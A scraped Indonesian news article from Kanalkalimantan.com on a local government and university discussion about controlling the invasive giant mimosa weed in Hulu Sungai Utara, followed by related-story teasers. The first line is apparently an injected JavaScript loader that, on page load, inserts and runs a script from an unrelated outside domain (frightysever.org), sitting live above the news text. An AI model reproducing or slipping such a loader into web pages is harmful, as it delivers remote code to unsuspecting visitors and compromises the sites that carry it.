(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANATAN.COM, AMUNTAI – Gulma susupan gunung atau putri malu raksasa di Kabupaten Hulu Sungai Utara (HSU) berdampak sangat besar merugikan sektor pertanian dan perikanan.
Kondisi itu disampaikan Sekretaris Daerah HSU Adi Lesmana saat membuka kegiatan Focus Group Discussion (FGD) kajian karekteristik dan identifikasi potensi pemanfaatan dan pengendalian gulma bersama berbagai stakeholder dan sejumlah peneliti dari Universitas Lambung Mangkurat (ULM) Banjarmasin di Mess Negara Dipa, Rabu (7/6/2023) siang.
“Kita ketahui penyumbang Produk Domestik Regional Bruto (PDRB) paling besar di Kabupaten HSU adalah dari sektor pertanian dan perikanan yaitu sekitar 17 persen selain sektor ekonomi,” kata Sekda HSU mewakili Penjabat Bupati HSU.
Lebih lanjut, Sekda HSU menyebut berbagai upaya sudah dilaksanakan Pemkab HSU bersama petani untuk mengendalikan gulma susupan gunung itu, diantaranya melalui penyemprotan kimia melalui pesawat drone hingga menggunakan eksavator membuka lahan dan jalur sungai.
Baca juga: Kisah Nenek Salami, Calon Haji Minta Pulang saat Mau Berangkat ke Tanah Suci
Selain menghambat sektor perikanan dan pertanian, susupan gunung itu juga menghalangi jalur transportasi sungai yang mengakibatkan arus barang dan jasa ikut terhambat.
“Tidak berlebihan kalau kita menyebutkan bahwa serangan gulma susupan gunung tersebut termasuk ke dalam bencana ekologis,” katanya.
Dirinya berharap dengan diselenggarakan kegiatan FGD dapat memberikan solusi yang efektif mengatasi masalah gulma secara efisien dan ramah lingkungan.
“Kajian ini sangat perlu dilakukan untuk mengetahui apakah susupan gunung ini dapat dikendalikan maupun dapat dimanfaatkan,” tutupnya.
Sementara, Ketua Peneliti dari ULM Dr Ir Yusriadi Marsuni menyarankan pengendalian tanaman gulma itu secara manual dengan perahu mesin pencacah hasil kreasi perajin logam di HSU.
Baca juga: Ibu Rumah Tangga Bersama Dua Lelaki di Banjarmasin Ditangkap Gegara 4 Paket Sabu
“Kita sarankan pengendalian secara manual, karena dengan dicacah, tanaman susupan gunung membusuk di dalam air dan tidak tumbuh lagi,” imbuhnya.
Dr Yusriadi menyebut melalui perahu mesin pencacah gulma juga bisa membuka jalur untuk upaya pengendalian lebih lanjut. Hasil cacahan tanaman susupan gunung di dalam air menjadi sarang ikan papuyu dan jenis ikan lainnya untuk berkembang biak. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More
This website uses cookies.